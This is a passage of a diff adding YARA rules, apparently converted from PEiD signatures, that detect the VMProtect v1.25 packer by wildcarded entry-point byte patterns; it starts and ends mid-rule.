+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 58 9D 59 5F 5E 59 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_02990_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 59 5F 5E 58 9D 5A 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_02991_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 5E 59 5F 58 9D 58 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_02992_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5E 5A 58 5F 58 59 9D 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_02993_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5F 5A 59 58 5D 9D 5E 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_02994_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 58 5F 5E 59 5D 5D 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_02995_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 59 5E 5D 5D 5F 5A 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02996_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 5E 5A 5E 59 5F 5D 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02997_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 58 5A 5B 5D 9D 5F 5E 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02998_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 59 9D 5D 58 5B 5E 5A 5F C3}
+    condition:
+        $a
+}
+rule PEiD_02999_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5B 5F 58 5E 59 5A 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03000_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5F 58 5B 5A 5A 59 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03001_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 9D 5F 5B 5A 5B 58 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03002_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5F 5E 58 9D 59 5A 5B 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03003_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 59 5D 9D 58 5B 5A 5F 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03004_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 59 5D 5B 58 5F 9D 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03005_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 5F 58 58 5D 59 5B 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03006_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 59 5D 5F 9D 5A 58 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03007_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5A 59 5D 58 5F 9D 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03008_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5D 5A 5F 58 59 58 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03009_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5B 59 5D 58 9D 5A 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03010_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5F 9D 59 5D 5A 5B 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03011_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5B 5E 5D 5B 9D 59 58 C3}
+    condition:
+        $a
+}
+rule PEiD_03012_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5E 5E 59 9D 5D 5B 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03013_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5B 5E 5B 5D 59 5A 9D 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03014_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 58 5D 5B 59 9D 5A 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03015_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 5D 59 9D 5B 58 5A 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03016_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 9D 5D 58 5B 5A 5A 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03017_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 9D 5B 59 5E 5B 5D 58 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03018_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 58 5F 5F 5B 5A 59 5D 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_03019_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 59 5F 5E 58 58 5A 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03020_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 5E 58 59 5B 5F 5A 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03021_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5F 5D 5E 5B 58 59 5A 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03022_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5A 9D 5D 59 5B 59 5E 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03023_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 59 5E 5D 5F 5A 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03024_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 5F 5A 5E 5D 9D 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03025_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 5A 5F 59 5D 5D 5E 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03026_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 9D 5A 5F 5D 5A 5E 59 C3}
+    condition:
+        $a
+}
+rule PEiD_03027_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 59 5A 59 5E 5D 5B 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03028_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5B 5D 5E 5B 5A 59 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03029_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5E 59 5E 5D 5B 5A 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03030_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 9D 5F 5D 5E 5B 59 5A 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03031_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5A 5F 5B 5E 5D 5D 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03032_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5B 5D 5F 5E 5A 5F 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03033_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5E 58 5F 5D 59 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03034_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5F 5B 5B 5D 58 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_03035_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5B 58 5A 5B 5F 5E 9D 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03036_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5D 58 59 9D 5E 5A 5B 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03037_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5B 58 59 5D 9D 5D 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_03038_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5F 58 5E 5D 9D 59 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03039_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 9D 5E 5D 58 5F 5A 59 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03040_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 58 5D 5F 9D 5A 59 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03041_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 59 5A 58 9D 5D 5B 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03042_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 9D 58 5D 5F 5A 5D 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03043_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 58 5A 5E 9D 5D 59 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03044_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 5B 9D 59 5A 5D 58 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_03045_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 9D 5A 5F 59 58 5D 5E 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_03046_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5D 58 5F 59 5B 9D 5E 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03047_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5E 9D 58 5B 5F 59 58 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03048_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 59 59 5A 5E 5B 9D 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03049_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5A 5E 5D 5B 58 9D 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03050_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5E 5B 9D 58 5B 59 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03051_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5A 5D 5F 5B 5A 59 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03052_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5F 5D 5B 5A 59 9D 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03053_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 58 5F 5D 58 5B 9D 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03054_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 5F 5B 5D 58 5A 9D 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_03055_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 59 5B 5A 58 5F 9D 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03056_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 58 59 5B 5A 5F 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03057_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 5F 59 58 9D 5B 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03058_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5F 9D 5D 5B 58 5E 5A 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03059_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 59 5E 5F 5D 5A 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03060_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 5F 5A 59 5D 9D 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_03061_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 9D 5A 5D 5F 5E 59 C3}
+    condition:
+        $a
+}
+rule PEiD_03062_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5A 5B 59 5D 9D 59 5E 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03063_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 58 59 9D 5E 5B 5A 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_03064_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 5E 58 5B 9D 59 5A 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03065_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5E 9D 59 5A 5A 5B 58 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03066_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5F 5B 5A 9D 5E 5D 59 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03067_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5A 5F 5E 5D 5D 58 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03068_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5D 5B 5F 58 5E 5A 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03069_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 58 5B 5F 59 5D 5E 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03070_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 58 5B 59 5B 5D 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_03071_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 5D 58 5B 58 59 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_03072_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5B 5D 5A 5F 59 5E 58 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03073_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5D 5A 5B 58 5F 5E 5E 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03074_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5F 58 5A 5E 5D 5E 5B 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03075_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5D 5F 5B 9D 5A 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03076_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5F 5D 5B 5A 5A 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03077_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 9D 5F 59 5A 5B 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03078_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
